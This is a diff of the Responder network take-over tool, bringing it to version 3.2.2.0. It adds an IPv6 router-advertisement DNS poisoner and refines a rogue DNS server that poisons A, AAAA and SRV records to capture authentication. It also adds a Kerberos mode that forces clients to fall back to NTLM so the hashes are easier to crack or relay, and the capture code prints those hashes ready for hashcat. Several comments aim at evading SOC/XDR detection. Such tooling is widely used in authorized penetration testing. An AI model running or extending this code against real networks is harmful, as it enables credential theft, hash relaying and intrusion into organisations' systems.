sock.sendto(bytes(packet), (IPV6_ALL_NODES, 0, 0, socket.if_nametoindex(interface)))
sock.close()
return True
except PermissionError:
print(color("[!] ", 1, 1) + "RDNSS: Root privileges required for raw sockets")
return False
except OSError as e:
if settings.Config.Verbose:
print(color("[!] ", 1, 1) + "RDNSS error: %s" % str(e))
return False
def RDNSS(interface, rdnss_enabled, dnssl_domain):
"""
RDNSS/DNSSL Poisoner - Main entry point
Sends periodic Router Advertisements with DNS options:
- RDNSS: Advertises Responder as DNS server (--rdnss)
- DNSSL: Injects DNS search suffix (--dnssl)
Both options are independent and can be used separately or together.
Args:
interface: Network interface to send RAs on
rdnss_enabled: If True, include RDNSS option (DNS server)
dnssl_domain: If set, include DNSSL option (search suffix)
"""
# Get source address (must be link-local for RAs per RFC 4861)
source_ip = get_link_local_address(interface)
if not source_ip:
print(color("[!] ", 1, 1) + "RDNSS: Could not get link-local address for %s" % interface)
return
# Get DNS server address if RDNSS is enabled
dns_server = None
if rdnss_enabled:
dns_server = get_dns_server_address(interface)
if not dns_server:
print(color("[!] ", 1, 1) + "RDNSS: Could not determine IPv6 address for DNS server")
return
# Format DNSSL domain
domains = None
if dnssl_domain:
domains = [dnssl_domain] if isinstance(dnssl_domain, str) else dnssl_domain
# Startup messages
if dns_server:
print(color("[*] ", 2, 1) + "RDNSS advertising DNS server: %s" % dns_server)
if domains:
print(color("[*] ", 2, 1) + "DNSSL advertising search domain: %s" % ', '.join(domains))
print(color("[*] ", 2, 1) + "Sending RA every %d-%d seconds" % (RA_INTERVAL_MIN, RA_INTERVAL_MAX))
print(color("[*] ", 2, 1) + "Avoid self poisoning with: \"sudo ip6tables -A INPUT -p icmpv6 --icmpv6-type router-advertisement -j DROP\"")
# Send initial RA
send_ra(interface, source_ip, dns_server, domains)
# Main loop - send RAs at random intervals
while True:
interval = random.randint(RA_INTERVAL_MIN, RA_INTERVAL_MAX)
time.sleep(interval)
send_ra(interface, source_ip, dns_server, domains)

View File

@@ -22,8 +22,8 @@
# - MX record poisoning for email client authentication capture
# - SRV record poisoning for service discovery (Kerberos, LDAP, etc.)
# - Logs interesting authentication-related domains
# - Short TTL (60s) to ensure frequent re-queries
# - IPv6 support for modern networks
# - 5 minute TTL for efficient caching
# - Proper IPv6 support (uses -6 option, auto-detects, or skips AAAA)
# - Domain filtering to target specific domains only
#
from utils import *
@@ -105,8 +105,9 @@ class DNS(BaseRequestHandler):
socket_obj.sendto(response, self.client_address)
target_ip = self.get_target_ip(query_type)
print(color('[DNS] Poisoned response: %s -> %s' % (
query_name, target_ip), 2, 1))
if target_ip:
print(color('[DNS] Poisoned response: %s -> %s' % (
query_name, target_ip), 2, 1))
except Exception as e:
if settings.Config.Verbose:
@@ -262,6 +263,14 @@ class DNS(BaseRequestHandler):
if settings.Config.Verbose:
print(color('[DNS] Query matches target domain %s - responding' % target_domain, 3, 1))
# For AAAA queries, only respond if we have a valid IPv6 address
# With link-local fallback, this should almost always succeed
# Only fails if IPv6 is completely disabled on the system
if query_type == 28: # AAAA
ipv6 = self.get_ipv6_address()
if not ipv6:
return False
# Respond to these query types:
# A (1), SOA (6), MX (15), TXT (16), AAAA (28), SRV (33), ANY (255)
# SVCB (64), HTTPS (65) - Service Binding records
@@ -269,13 +278,6 @@ class DNS(BaseRequestHandler):
if query_type not in supported_types:
return False
# Check if domain is in analyze mode targets
# DNS server should not be affected by analyze mode since its not a poisoner, but a rogue DNS server.
#if hasattr(settings.Config, 'AnalyzeMode'):
#if settings.Config.AnalyzeMode:
# In analyze mode, log but don't respond
#return False
# Log interesting queries (authentication-related domains)
query_lower = query_name.lower()
interesting_patterns = ['login', 'auth', 'sso', 'portal', 'vpn', 'mail', 'smtp', 'imap', 'exchange', '_ldap', '_kerberos', '_gc', '_kpasswd', '_msdcs']
@@ -339,23 +341,27 @@ class DNS(BaseRequestHandler):
# Class
response += struct.pack('>H', query_class)
# TTL (short to ensure frequent re-queries)
response += struct.pack('>I', 60) # 60 seconds
# TTL (5 minutes for better caching while still allowing updates)
response += struct.pack('>I', 300) # 300 seconds = 5 minutes
# Get target IP
target_ip = self.get_target_ip(query_type)
# Get target IP for A records
target_ipv4 = self.get_ipv4_address()
if query_type == 1: # A record
# RDLENGTH
response += struct.pack('>H', 4)
# RDATA (IPv4 address)
response += socket.inet_aton(target_ip)
response += socket.inet_aton(target_ipv4)
elif query_type == 28: # AAAA record
# Get proper IPv6 address (already validated in should_respond)
ipv6 = self.get_ipv6_address()
if not ipv6:
return None # Should not happen if should_respond worked
# RDLENGTH
response += struct.pack('>H', 16)
# RDATA (IPv6 address)
ipv6 = self.get_ipv6_address()
response += socket.inet_pton(socket.AF_INET6, ipv6)
elif query_type == 6: # SOA record (Start of Authority)
@@ -413,20 +419,22 @@ class DNS(BaseRequestHandler):
elif query_type == 33: # SRV record (service discovery)
# SRV format: priority, weight, port, target
# Useful for capturing Kerberos, LDAP, etc.
srv_data = struct.pack('>HHH', 0, 0, 445) # priority, weight, port (SMB)
# Determine correct port based on service name in query
srv_port = self.get_srv_port(query_name)
srv_data = struct.pack('>HHH', 0, 0, srv_port) # priority, weight, port
srv_data += b'\xc0\x0c' # Target (pointer to query name)
response += struct.pack('>H', len(srv_data))
response += srv_data
if settings.Config.Verbose:
print(color('[DNS] SRV record poisoned - potential service auth capture', 3, 1))
print(color('[DNS] SRV record poisoned: %s -> port %d' % (query_name, srv_port), 3, 1))
elif query_type == 255: # ANY query
# Respond with A record
response += struct.pack('>H', 4)
response += socket.inet_aton(target_ip)
response += socket.inet_aton(target_ipv4)
elif query_type == 64 or query_type == 65: # SVCB (64) or HTTPS (65) record
# Service Binding records - respond with alias to same domain
@@ -505,55 +513,44 @@ class DNS(BaseRequestHandler):
def get_target_ip(self, query_type):
"""Get the target IP address for spoofed responses"""
# Use Responder's configured IP
if query_type == 28: # AAAA
return self.get_ipv6_address()
else: # A record
return settings.Config.Bind_To
else: # A record and others
return self.get_ipv4_address()
def get_ipv4_address(self):
"""Get IPv4 address for A record responses"""
# Priority 1: Use ExternalIP if set (-e option)
if hasattr(settings.Config, 'ExternalIP') and settings.Config.ExternalIP:
return settings.Config.ExternalIP
# Priority 2: Use Bind_To (default)
return settings.Config.Bind_To
def get_ipv6_address(self):
"""Get IPv6 address for AAAA responses"""
# Priority 1: Use explicitly configured IPv6
if hasattr(settings.Config, 'Bind_To_IPv6') and settings.Config.Bind_To_IPv6:
return settings.Config.Bind_To_IPv6
"""
Get IPv6 address for AAAA responses
# Priority 2: Try to detect actual IPv6 on interface
try:
import netifaces
ipv4 = settings.Config.Bind_To
# Find which interface has this IPv4
for iface in netifaces.interfaces():
try:
addrs = netifaces.ifaddresses(iface)
# Check if this interface has our IPv4
if netifaces.AF_INET in addrs:
for addr in addrs[netifaces.AF_INET]:
if addr.get('addr') == ipv4:
# Found the interface, get its global IPv6
if netifaces.AF_INET6 in addrs:
for ipv6_addr in addrs[netifaces.AF_INET6]:
ipv6 = ipv6_addr.get('addr', '').split('%')[0]
# Return first global IPv6 (not link-local fe80::)
if ipv6 and not ipv6.startswith('fe80:'):
return ipv6
except:
continue
except ImportError:
pass
except:
pass
Returns the IPv6 address Responder is configured to use:
1. ExternalIP6 if set (-6 command line option)
2. Bind_To6 (already determined by FindLocalIP6 at startup)
# Priority 3: Use IPv4-mapped IPv6 format (::ffff:x.x.x.x)
# This allows dual-stack clients to connect via IPv4
try:
ipv4 = settings.Config.Bind_To
return '::ffff:%s' % ipv4
except:
pass
Does NOT return IPv4-mapped addresses (::ffff:x.x.x.x) or localhost.
"""
# Priority 1: Use ExternalIP6 if set (-6 command line option)
if hasattr(settings.Config, 'ExternalIP6') and settings.Config.ExternalIP6:
ipv6 = settings.Config.ExternalIP6
if ipv6 and ipv6 not in ('::1', '') and not ipv6.startswith('::ffff:'):
return ipv6
# Last resort: return IPv6 loopback
return '::1'
# Priority 2: Use Bind_To6 (set by FindLocalIP6 at startup)
if hasattr(settings.Config, 'Bind_To6') and settings.Config.Bind_To6:
ipv6 = settings.Config.Bind_To6
if ipv6 and ipv6 not in ('::1', '::') and not ipv6.startswith('::ffff:'):
return ipv6
# No valid IPv6 available
return None
def get_type_name(self, query_type):
"""Convert query type number to name"""
@@ -573,6 +570,100 @@ class DNS(BaseRequestHandler):
255: 'ANY'
}
return types.get(query_type, 'TYPE%d' % query_type)
def get_srv_port(self, query_name):
"""
Determine the correct port for SRV record responses based on service name.
SRV query format: _service._protocol.name
Examples:
_ldap._tcp.dc._msdcs.domain.local → 389
_kerberos._tcp.domain.local → 88
_gc._tcp.domain.local → 3268
Returns appropriate port for the service, defaults to 445 (SMB) if unknown.
"""
query_lower = query_name.lower()
# Service to port mapping
# Format: (service_pattern, port)
srv_ports = [
# LDAP services
('_ldap._tcp', 389),
('_ldap._udp', 389),
('_ldaps._tcp', 636),
# Kerberos services
('_kerberos._tcp', 88),
('_kerberos._udp', 88),
('_kerberos-master._tcp', 88),
('_kerberos-master._udp', 88),
('_kpasswd._tcp', 464),
('_kpasswd._udp', 464),
('_kerberos-adm._tcp', 749),
# Global Catalog (Active Directory)
('_gc._tcp', 3268),
('_gc._ssl._tcp', 3269),
# Web services
('_http._tcp', 80),
('_https._tcp', 443),
('_http._ssl._tcp', 443),
# Email services
('_smtp._tcp', 25),
('_submission._tcp', 587),
('_imap._tcp', 143),
('_imaps._tcp', 993),
('_pop3._tcp', 110),
('_pop3s._tcp', 995),
# File/Remote services
('_smb._tcp', 445),
('_cifs._tcp', 445),
('_ftp._tcp', 21),
('_sftp._tcp', 22),
('_ssh._tcp', 22),
('_telnet._tcp', 23),
('_rdp._tcp', 3389),
('_ms-wbt-server._tcp', 3389), # RDP
# Windows services
('_winrm._tcp', 5985),
('_winrm-ssl._tcp', 5986),
('_wsman._tcp', 5985),
('_ntp._udp', 123),
# Database services
('_mssql._tcp', 1433),
('_mysql._tcp', 3306),
('_postgresql._tcp', 5432),
('_oracle._tcp', 1521),
# SIP/VoIP
('_sip._tcp', 5060),
('_sip._udp', 5060),
('_sips._tcp', 5061),
# XMPP/Jabber
('_xmpp-client._tcp', 5222),
('_xmpp-server._tcp', 5269),
# Other
('_finger._tcp', 79),
('_ipp._tcp', 631), # Internet Printing Protocol
]
# Check each pattern
for pattern, port in srv_ports:
if query_lower.startswith(pattern):
return port
# Default to SMB port for unknown services
# This is a reasonable default for credential capture
return 445
class DNSTCP(BaseRequestHandler):
"""
@@ -660,8 +751,9 @@ class DNSTCP(BaseRequestHandler):
self.request.sendall(tcp_response)
target_ip = dns_handler.get_target_ip(query_type)
print(color('[DNS-TCP] Poisoned response: %s -> %s' % (
query_name, target_ip), 2, 1))
if target_ip:
print(color('[DNS-TCP] Poisoned response: %s -> %s' % (
query_name, target_ip), 2, 1))
except Exception as e:
if settings.Config.Verbose:

View File

@@ -444,6 +444,85 @@ def build_krb_error(realm, cname, sname=None):
return krb_error
def build_krb_error_force_ntlm(realm, cname, sname=None):
"""
Build KRB-ERROR with KDC_ERR_ETYPE_NOSUPP (14)
This forces the client to fall back to NTLM authentication
Useful when you want NetNTLMv2 hashes instead of Kerberos AS-REP:
- NetNTLMv2 is often faster to crack
- Can be relayed to other services
"""
# Get current time
current_time = time.time()
time_str = time.strftime('%Y%m%d%H%M%SZ', time.gmtime(current_time))
susec = int((current_time - int(current_time)) * 1000000)
# Build sname (server name)
if sname is None:
sname = 'krbtgt'
# Build the inner SEQUENCE
inner = b''
# [0] pvno: 5
inner += b'\xa0\x03\x02\x01\x05'
# [1] msg-type: 30 (KRB-ERROR)
inner += b'\xa1\x03\x02\x01\x1e'
# [4] stime (server time)
time_bytes = time_str.encode('ascii')
inner += b'\xa4' + encode_asn1_length(len(time_bytes) + 2) + b'\x18' + encode_asn1_length(len(time_bytes)) + time_bytes
# [5] susec (microseconds)
susec_bytes = struct.pack('>I', susec)
while len(susec_bytes) > 1 and susec_bytes[0] == 0:
susec_bytes = susec_bytes[1:]
inner += b'\xa5' + encode_asn1_length(len(susec_bytes) + 2) + b'\x02' + encode_asn1_length(len(susec_bytes)) + susec_bytes
# [6] error-code: 14 (KDC_ERR_ETYPE_NOSUPP) - forces NTLM fallback
inner += b'\xa6\x03\x02\x01\x0e'
# [9] realm (server realm)
realm_bytes = realm.encode('ascii')
inner += b'\xa9' + encode_asn1_length(len(realm_bytes) + 2) + b'\x1b' + encode_asn1_length(len(realm_bytes)) + realm_bytes
# [10] sname (server principal name)
sname_str = sname.encode('ascii')
realm_str = realm.encode('ascii')
# Build name-string SEQUENCE
name_string_seq = b''
name_string_seq += b'\x1b' + encode_asn1_length(len(sname_str)) + sname_str
name_string_seq += b'\x1b' + encode_asn1_length(len(realm_str)) + realm_str
# Wrap in SEQUENCE
name_string_wrapped = b'\x30' + encode_asn1_length(len(name_string_seq)) + name_string_seq
name_string_tagged = b'\xa1' + encode_asn1_length(len(name_string_wrapped)) + name_string_wrapped
name_type = b'\xa0\x03\x02\x01\x02'
# Build PrincipalName SEQUENCE
principal_seq = name_type + name_string_tagged
principal_wrapped = b'\x30' + encode_asn1_length(len(principal_seq)) + principal_seq
# Tag [10]
inner += b'\xaa' + encode_asn1_length(len(principal_wrapped)) + principal_wrapped
# [11] e-text (error description)
etext_str = "KDC has no support for encryption type"
etext_bytes = etext_str.encode('ascii')
inner += b'\xab' + encode_asn1_length(len(etext_bytes) + 2) + b'\x1b' + encode_asn1_length(len(etext_bytes)) + etext_bytes
# Wrap in SEQUENCE
sequence = b'\x30' + encode_asn1_length(len(inner)) + inner
# Wrap in APPLICATION 30 tag
krb_error = b'\x7e' + encode_asn1_length(len(sequence)) + sequence
return krb_error
def build_pa_data(realm, cname):
"""
Build PA-DATA sequence for pre-authentication
@@ -571,6 +650,9 @@ class KerbTCP(BaseRequestHandler):
return
if msg_type == 10: # AS-REQ
# Check operation mode
kerberos_mode = getattr(settings.Config, 'KerberosMode', 'CAPTURE')
# Check if client sent PA-DATA
has_padata, etype = find_padata_and_etype(data)
@@ -597,14 +679,12 @@ class KerbTCP(BaseRequestHandler):
else:
hash_value = '$krb5pa$23$%s$%s$dummy$%s' % (cname, realm, cipher_hex)
elif etype_num == 0x12: # AES256 (18)
checksum = cipher_hex[-24:]
salt = realm + cname
hash_value = '$krb5pa$18$%s$%s$%s$%s$%s' % (cname, realm, salt, cipher_hex, checksum)
elif etype_num == 0x11: # AES128 (17)
checksum = cipher_hex[-24:]
salt = realm + cname
hash_value = '$krb5pa$17$%s$%s$%s$%s$%s' % (cname, realm, salt, cipher_hex, checksum)
elif etype_num == 0x12: # AES256 (18) - hashcat mode 19900
# Format: $krb5pa$18$user$realm$cipher (hashcat computes salt internally)
hash_value = '$krb5pa$18$%s$%s$%s' % (cname, realm, cipher_hex)
elif etype_num == 0x11: # AES128 (17) - hashcat mode 19800
# Format: $krb5pa$17$user$realm$cipher (hashcat computes salt internally)
hash_value = '$krb5pa$17$%s$%s$%s' % (cname, realm, cipher_hex)
else:
hash_value = '$krb5pa$%d$%s$%s$%s' % (etype_num, cname, realm, cipher_hex)
@@ -621,24 +701,57 @@ class KerbTCP(BaseRequestHandler):
# Print the hash
if settings.Config.Verbose:
print(text('[KERB] Use hashcat -m 7500 (etype %d): %s' % (etype_num, hash_value)))
if etype_num == 0x17 or etype_num == 0x18:
print(text('[KERB] Use hashcat -m 7500 (etype 23): %s' % hash_value))
elif etype_num == 0x12:
print(text('[KERB] Use hashcat -m 19900 (etype 18): %s' % hash_value))
elif etype_num == 0x11:
print(text('[KERB] Use hashcat -m 19800 (etype 17): %s' % hash_value))
else:
print(text('[KERB] Kerberos hash (etype %d): %s' % (etype_num, hash_value)))
else:
if settings.Config.Verbose:
print(color('[KERB] AS-REQ with PA-DATA but could not extract hash from %s@%s' % (cname, realm), 1, 1))
else:
# First AS-REQ without pre-auth - send KRB-ERROR requiring pre-auth
if settings.Config.Verbose:
print(color('[KERB] AS-REQ from %s@%s - sending PREAUTH_REQUIRED' % (cname, realm), 2, 1))
# Build KRB-ERROR response
krb_error = build_krb_error(realm, cname)
# Send with Record Mark
response = struct.pack('>I', len(krb_error)) + krb_error
self.request.sendall(response)
if settings.Config.Verbose:
print(color('[KERB] Sent KRB-ERROR (PREAUTH_REQUIRED) to %s' % self.client_address[0], 2, 1))
# First AS-REQ without pre-auth
if kerberos_mode == 'FORCE_NTLM':
# Force NTLM fallback mode
if settings.Config.Verbose:
print(color('[KERB] AS-REQ from %s@%s - forcing NTLM fallback' % (cname, realm), 2, 1))
# Build KRB-ERROR with ETYPE_NOSUPP
krb_error = build_krb_error_force_ntlm(realm, cname)
# Send with Record Mark
response = struct.pack('>I', len(krb_error)) + krb_error
self.request.sendall(response)
if settings.Config.Verbose:
print(color('[KERB] Sent KDC_ERR_ETYPE_NOSUPP - client should fall back to NTLM', 3, 1))
# Log to database
SaveToDb({
'module': 'Kerberos',
'type': 'NTLM-Fallback-Forced',
'client': self.client_address[0],
'user': cname,
'domain': realm,
'fullhash': '%s@%s - NTLM fallback forced' % (cname, realm)
})
else:
# Default CAPTURE mode - send pre-auth required
if settings.Config.Verbose:
print(color('[KERB] AS-REQ from %s@%s - sending PREAUTH_REQUIRED' % (cname, realm), 2, 1))
# Build KRB-ERROR response
krb_error = build_krb_error(realm, cname)
# Send with Record Mark
response = struct.pack('>I', len(krb_error)) + krb_error
self.request.sendall(response)
if settings.Config.Verbose:
print(color('[KERB] Sent KRB-ERROR (PREAUTH_REQUIRED) to %s' % self.client_address[0], 2, 1))
elif msg_type == 12: # TGS-REQ
if settings.Config.Verbose:
@@ -664,6 +777,9 @@ class KerbUDP(BaseRequestHandler):
return
if msg_type == 10: # AS-REQ
# Check operation mode
kerberos_mode = getattr(settings.Config, 'KerberosMode', 'CAPTURE')
# Check if client sent PA-DATA
has_padata, etype = find_padata_and_etype(data)
@@ -687,14 +803,12 @@ class KerbUDP(BaseRequestHandler):
else:
hash_value = '$krb5pa$23$%s$%s$dummy$%s' % (cname, realm, cipher_hex)
elif etype_num == 0x12: # AES256 (18)
checksum = cipher_hex[-24:]
salt = realm + cname
hash_value = '$krb5pa$18$%s$%s$%s$%s$%s' % (cname, realm, salt, cipher_hex, checksum)
elif etype_num == 0x11: # AES128 (17)
checksum = cipher_hex[-24:]
salt = realm + cname
hash_value = '$krb5pa$17$%s$%s$%s$%s$%s' % (cname, realm, salt, cipher_hex, checksum)
elif etype_num == 0x12: # AES256 (18) - hashcat mode 19900
# Format: $krb5pa$18$user$realm$cipher (hashcat computes salt internally)
hash_value = '$krb5pa$18$%s$%s$%s' % (cname, realm, cipher_hex)
elif etype_num == 0x11: # AES128 (17) - hashcat mode 19800
# Format: $krb5pa$17$user$realm$cipher (hashcat computes salt internally)
hash_value = '$krb5pa$17$%s$%s$%s' % (cname, realm, cipher_hex)
else:
hash_value = '$krb5pa$%d$%s$%s$%s' % (etype_num, cname, realm, cipher_hex)
@@ -710,23 +824,55 @@ class KerbUDP(BaseRequestHandler):
})
# Print the hash
print(color('[KERB] Kerberos 5 AS-REQ (etype %d): %s' % (etype_num, hash_value), 3, 1))
if etype_num == 0x17 or etype_num == 0x18:
print(color('[KERB] Kerberos Pre-Auth (hashcat -m 7500): %s' % hash_value, 3, 1))
elif etype_num == 0x12:
print(color('[KERB] Kerberos Pre-Auth (hashcat -m 19900): %s' % hash_value, 3, 1))
elif etype_num == 0x11:
print(color('[KERB] Kerberos Pre-Auth (hashcat -m 19800): %s' % hash_value, 3, 1))
else:
print(color('[KERB] Kerberos 5 AS-REQ (etype %d): %s' % (etype_num, hash_value), 3, 1))
else:
if settings.Config.Verbose:
print(color('[KERB] AS-REQ with PA-DATA but could not extract hash from %s@%s' % (cname, realm), 1, 1))
else:
# First AS-REQ without pre-auth - send KRB-ERROR requiring pre-auth
if settings.Config.Verbose:
print(color('[KERB] AS-REQ from %s@%s - sending PREAUTH_REQUIRED' % (cname, realm), 2, 1))
# Build KRB-ERROR response
krb_error = build_krb_error(realm, cname)
# Send directly (no Record Mark for UDP)
socket_obj.sendto(krb_error, self.client_address)
if settings.Config.Verbose:
print(color('[KERB] Sent KRB-ERROR (PREAUTH_REQUIRED) to %s' % self.client_address[0], 2, 1))
# First AS-REQ without pre-auth
if kerberos_mode == 'FORCE_NTLM':
# Force NTLM fallback mode
if settings.Config.Verbose:
print(color('[KERB] AS-REQ from %s@%s - forcing NTLM fallback' % (cname, realm), 2, 1))
# Build KRB-ERROR with ETYPE_NOSUPP
krb_error = build_krb_error_force_ntlm(realm, cname)
# Send directly (no Record Mark for UDP)
socket_obj.sendto(krb_error, self.client_address)
if settings.Config.Verbose:
print(color('[KERB] Sent KDC_ERR_ETYPE_NOSUPP - client should fall back to NTLM', 3, 1))
# Log to database
SaveToDb({
'module': 'Kerberos',
'type': 'NTLM-Fallback-Forced',
'client': self.client_address[0],
'user': cname,
'domain': realm,
'fullhash': '%s@%s - NTLM fallback forced' % (cname, realm)
})
else:
# Default CAPTURE mode - send pre-auth required
if settings.Config.Verbose:
print(color('[KERB] AS-REQ from %s@%s - sending PREAUTH_REQUIRED' % (cname, realm), 2, 1))
# Build KRB-ERROR response
krb_error = build_krb_error(realm, cname)
# Send directly (no Record Mark for UDP)
socket_obj.sendto(krb_error, self.client_address)
if settings.Config.Verbose:
print(color('[KERB] Sent KRB-ERROR (PREAUTH_REQUIRED) to %s' % self.client_address[0], 2, 1))
elif msg_type == 12: # TGS-REQ
if settings.Config.Verbose:

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# email: lgaffie@secorizon.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or

View File

@@ -23,7 +23,7 @@ import subprocess
from utils import *
__version__ = 'Responder 3.2.0.0'
__version__ = 'Responder 3.2.2.0'
class Settings:
@@ -178,6 +178,8 @@ class Settings:
self.Quiet_Mode = options.Quiet
self.AnswerName = options.AnswerName
self.ErrorCode = options.ErrorCode
self.RDNSS_On_Off = options.RDNSS_On_Off
self.DNSSL_Domain = options.DNSSL_Domain
# TTL blacklist. Known to be detected by SOC / XDR
TTL_blacklist = [b"\x00\x00\x00\x1e", b"\x00\x00\x00\x78", b"\x00\x00\x00\xa5"]
@@ -231,6 +233,16 @@ class Settings:
else:
self.ExternalResponderIP6 = self.Bind_To6
# Kerberos operation mode: CAPTURE (AS-REP hashes) or FORCE_NTLM (force fallback)
try:
self.KerberosMode = config.get('Kerberos', 'KerberosMode').strip()
if self.KerberosMode not in ['CAPTURE', 'FORCE_NTLM']:
print('[Config] Invalid KerberosMode: %s, defaulting to CAPTURE' % self.KerberosMode)
self.KerberosMode = 'CAPTURE'
except:
# Default to CAPTURE mode if not specified (backward compatible)
self.KerberosMode = 'CAPTURE'
self.Os_version = sys.platform
self.FTPLog = os.path.join(self.LogDir, 'FTP-Clear-Text-Password-%s.txt')

301
utils.py
View File

@@ -20,6 +20,7 @@ import re
import logging
import socket
import time
import threading
import settings
import datetime
import codecs
@@ -87,6 +88,9 @@ except:
print("[!] Please install python-sqlite3 extension.")
sys.exit(0)
# Thread lock for database operations to prevent "database is locked" errors
_db_lock = threading.Lock()
def color(txt, code = 1, modifier = 0):
if txt.startswith('[*]'):
settings.Config.PoisonersLogger.warning(txt)
@@ -237,38 +241,117 @@ def Probe_IPv6_socket():
return True
except:
return False
def IsLinkLocal(ip):
"""
Check if an IPv6 address is link-local (fe80::/10).
Link-local addresses are in the range fe80:: to febf::
"""
if ip is None:
return False
ip_lower = ip.lower()
# fe80::/10 means first 10 bits are 1111111010
# This covers fe80:: through febf::
return ip_lower.startswith('fe8') or ip_lower.startswith('fe9') or \
ip_lower.startswith('fea') or ip_lower.startswith('feb')
def GetLinkLocalIP6(Iface):
"""
Get the link-local IPv6 address for a specific interface.
Args:
Iface: Interface name (e.g., 'eth0')
Returns:
Link-local IPv6 address string, or None if not found
"""
try:
addrs = netifaces.ifaddresses(Iface)
if netifaces.AF_INET6 not in addrs:
return None
# Search through all IPv6 addresses for a link-local one
for addr_info in addrs[netifaces.AF_INET6]:
addr = addr_info.get("addr", "")
# Remove interface suffix (e.g., "fe80::1%eth0" -> "fe80::1")
clean_addr = addr.split('%')[0]
if IsLinkLocal(clean_addr):
return clean_addr
return None
except (KeyError, IndexError, ValueError):
return None
def FindLocalIP6(Iface, OURIP):
if Iface == 'ALL':
return '::'
"""
Find the IPv6 address to bind Responder's servers to.
FIXED LOGIC (prioritizes link-local):
1. If user provided explicit IPv6 via -6 option, use that
2. If interface is 'ALL', return '::' (bind to all interfaces)
3. Try to get link-local address (fe80::) - THIS WORKS ON LOCAL NETWORKS
4. Fallback to global IPv6 only if link-local not available
5. Last resort: ::1 with warning
Args:
Iface: Network interface name ('eth0') or 'ALL' for wildcard
OURIP: User-provided IPv6 via -6 option, or None
Returns:
IPv6 address string to bind to
"""
# Handle wildcard interface
if Iface == 'ALL':
return '::'
try:
# PRIORITY 1: If user explicitly provided an IPv6 address with -6, use it
# This preserves the original behavior for users who specify -6
if IsIPv6IP(OURIP):
return OURIP
# PRIORITY 2: Get link-local address (fe80::)
# This is the FIX - link-local is ALWAYS reachable on local segment
link_local = GetLinkLocalIP6(Iface)
if link_local:
return link_local
# PRIORITY 3: Fallback to global IPv6 via socket trick
# Only used if no link-local available (rare on properly configured systems)
try:
# Connect to random IPv6 to determine source address
randIP = "2001:" + ":".join(("%x" % random.randint(0, 16**4) for i in range(7)))
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
s.connect((randIP, 80))
IP = s.getsockname()[0]
s.close()
if IP and IP != '::1':
# Warn the user this might not work
print(color('[!] Warning: No link-local IPv6 found, using global %s' % IP, 1, 1))
print(color('[!] This address may not be reachable on local network!', 1, 1))
return IP
except:
pass
# PRIORITY 4: Try to get any IPv6 from the interface
try:
IP = str(netifaces.ifaddresses(Iface)[netifaces.AF_INET6][0]["addr"].replace("%"+Iface, ""))
return IP
except:
pass
# No IPv6 available at all
print("[+] You don't have an IPv6 address assigned on %s." % Iface)
return '::1'
except socket.error:
print(color("[!] Error: %s: Interface not found" % Iface, 1))
sys.exit(-1)
try:
if IsIPv6IP(OURIP) == False:
try:
#Let's make it random so we don't get spotted easily.
randIP = "2001:" + ":".join(("%x" % random.randint(0, 16**4) for i in range(7)))
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
s.connect((randIP+':80', 1))
IP = s.getsockname()[0]
return IP
except:
try:
#Try harder; Let's get the local link addr
IP = str(netifaces.ifaddresses(Iface)[netifaces.AF_INET6][0]["addr"].replace("%"+Iface, ""))
return IP
except:
IP = '::1'
print("[+] You don't have an IPv6 address assigned.")
return IP
else:
return OURIP
except socket.error:
print(color("[!] Error: %s: Interface not found" % Iface, 1))
sys.exit(-1)
# Function used to write captured hashs to a file.
def WriteData(outfile, data, user):
@@ -321,6 +404,7 @@ def NetworkRecvBufferPython2or3(data):
def CreateResponderDb():
if not os.path.exists(settings.Config.DatabaseFile):
cursor = sqlite3.connect(settings.Config.DatabaseFile)
cursor.execute('PRAGMA journal_mode=WAL')
cursor.execute('CREATE TABLE Poisoned (timestamp TEXT, Poisoner TEXT, SentToIp TEXT, ForName TEXT, AnalyzeMode TEXT)')
cursor.commit()
cursor.execute('CREATE TABLE responder (timestamp TEXT, module TEXT, type TEXT, client TEXT, hostname TEXT, user TEXT, cleartext TEXT, hash TEXT, fullhash TEXT)')
@@ -336,68 +420,71 @@ def SaveToDb(result):
result[k] = ''
result['client'] = result['client'].replace("::ffff:","")
if len(result['user']) < 2:
print(color('[*] Skipping one character username: %s' % result['user'], 3, 1))
text("[*] Skipping one character username: %s" % result['user'])
#Generate to much output for nothing..
#print(color('[*] Skipping one character username: %s' % result['user'], 3, 1))
#text("[*] Skipping one character username: %s" % result['user'])
return
cursor = sqlite3.connect(settings.Config.DatabaseFile)
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
if len(result['cleartext']):
fname = '%s-%s-ClearText-%s.txt' % (result['module'], result['type'], result['client'])
res = cursor.execute("SELECT COUNT(*) AS count FROM responder WHERE module=? AND type=? AND client=? AND LOWER(user)=LOWER(?) AND cleartext=?", (result['module'], result['type'], result['client'], result['user'], result['cleartext']))
else:
fname = '%s-%s-%s.txt' % (result['module'], result['type'], result['client'])
res = cursor.execute("SELECT COUNT(*) AS count FROM responder WHERE module=? AND type=? AND client=? AND LOWER(user)=LOWER(?)", (result['module'], result['type'], result['client'], result['user']))
(count,) = res.fetchone()
logfile = os.path.join(settings.Config.ResponderPATH, 'logs', fname)
if not count:
cursor.execute("INSERT INTO responder VALUES(datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?)", (result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash']))
cursor.commit()
if not count or settings.Config.CaptureMultipleHashFromSameHost:
with open(logfile,"a") as outf:
if len(result['cleartext']): # If we obtained cleartext credentials, write them to file
outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace')))
else: # Otherwise, write JtR-style hash string to file
outf.write(result['fullhash'] + '\n')#.encode('utf8', 'replace') + '\n')
if not count or settings.Config.Verbose: # Print output
if len(result['client']):
print(text("[%s] %s Client : %s" % (result['module'], result['type'], color(result['client'], 3))))
if len(result['hostname']):
print(text("[%s] %s Hostname : %s" % (result['module'], result['type'], color(result['hostname'], 3))))
if len(result['user']):
print(text("[%s] %s Username : %s" % (result['module'], result['type'], color(result['user'], 3))))
# Bu order of priority, print cleartext, fullhash, or hash
with _db_lock:
cursor = sqlite3.connect(settings.Config.DatabaseFile, timeout=10)
